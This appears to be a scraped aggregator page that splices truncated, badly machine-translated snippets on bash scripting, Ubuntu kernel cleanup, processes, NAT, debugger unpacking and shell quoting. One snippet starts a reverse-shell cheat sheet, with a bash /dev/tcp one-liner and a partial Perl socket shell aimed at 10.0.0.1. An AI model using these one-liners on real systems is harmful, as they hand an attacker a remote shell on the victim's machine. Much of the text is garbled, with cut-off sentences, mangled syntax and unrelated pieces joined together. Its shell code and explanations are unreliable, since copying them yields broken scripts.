The variables are divided into 2 types: 1 system Variable 2: User-defined variableenv Display system variable set display system variables and user-defined variablesCustom variable rule: a=1 = number cannot have spaces on either sideCan only consist
* Wildcard #注释 \ escape Character | Pipe character $ variable character; command delimiter!! Executes the previous command!$ the last parameter of the previous command ~ home directory & Command Background execution> correct override redirect >>
The shell is executed in sequence according to the script command.#!/bin/bash or #!/bin/sh /bin/sh is a soft link to/bin/bash# #描述信息ls/etc/echo "This is a test script"Wq save exit, file name test.sh not necessarily. Sh end, mainly for the sake of
Several key words in the Shell control loop break continue exit#!/bin/bash#在1-loop in the 10 sequence, if the sequence equals 5, the number is not displayed and the loop is interrupted to continue with the successor task.For i in ' SEQ 1 10 'DoIf
For loop with 1 2 3 4 5do echo "The value is: $loop" (double quotes and no quotes are OK, single quotes do not work, output $loop) done results:The value is:1The value Is:2The value Is:3The value Is:4The value Is:5
Ubuntu often prompt to update the kernel, update several times after the/boot directory is full, and then update the hint directory no space, this time you need to remove the old kernel, before all is uname, grep, dpkg and other commands to knock,
1. Write a shell procedure named Xunhuan (with a looping statement), as shown in the results of the operation.0102103210432105432106543210765432108765432102. Write a shell process called Cala, which functions as a small calculator that allows you to
ProcessPreface : A process refers to an instance of a program in execution . The new process consists of Fork () with the Execve () when the system call starts , and then execute , know that they have issued exit () until the system calls
20,150,722 Week Three1. Generate a log file daily according to the format xxxx-xx-xx, for example, the file generated today is 2013-09-23.log, and the disk usage is written to the file.#vi/usr/local/sbin/crontest1.sh#!bin/bashd= ' date +%f '
The Shell also supports functions. The shell function must be defined before use.Definition and invocation of a functionThe Shell functions are defined in the following format:Function_name () { List of commands [return value]}function return
Similar to other programming languages, the shell supports A for loop.The general format for A for loop is: for inch List Do command1 command2 ... CommandN DoneA list is a sequence of values (numbers, strings, and so on), each separated
The shell also uses break and continue to jump out of the loop.Break commandIn the following example, the script enters a dead loop until the user enters a number greater than 5, using break to jump out of the loop.#!/bin/Bash while : Do
Arithmetic operatorsNative bash does not support simple math operations, but can be implemented with other commands, such as awk and expr,expr, which are most commonly used.Expr is an expression evaluation tool that uses it to perform evaluation
Unlike a compiled language, shell scripting is an interpreted language.When executing such a program, The interpreter (interpreter) needs to read the source code that we wrote and convert it to the target (object), which is then run by the
A= (1 2 3 4 5) define an arrayecho $a show only 1 and cannot display all elements of the entire arrayecho ${a[@]} displays all elements of the entire array, and @ can also be written as *echo ${a[0]} displays only the first element in the array,
Bash supports one-dimensional arrays and does not qualify the size of the array, and the subscript of the array element is numbered starting with 0.Defining arraysIn the shell, the array is represented by parentheses, and the elements of the array
Bash [NOT generic, related to Linux distributions, tested successfully on Ubuntu]Bash-i >&/dev/tcp/10.0.0.1/8080 0>&1PerlPerl-e ' use Socket; $i = "10.0.0.1"; $p =1234;socket (S,pf_inet,sock_stream,getprotobyname ("TCP")); if (Connect (S),
One-up loading location: All the way down: whenever you encounter a big jump back, press F4 to jump to the next step, skip the loop section until a RETN return to: And then we continue to follow, always follow to a jmp if the F4 down a step, the
Network address Translation (NAT) has a port translation called NAPT that is network addressWhat NAT is:Devices inside the network are assigned private IP addresses, but NAT-enabled routers retain one or moreAn Internet IP address that is valid
Difference between reverse quotation marks (') and $ () in Shell, shell quotation marks
Someone asked today:
Echo 'echo \\\\\\ W' echo $ (echo \\\\\\\ w) Why is the output different?
This leads to another problem: is there a difference between
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.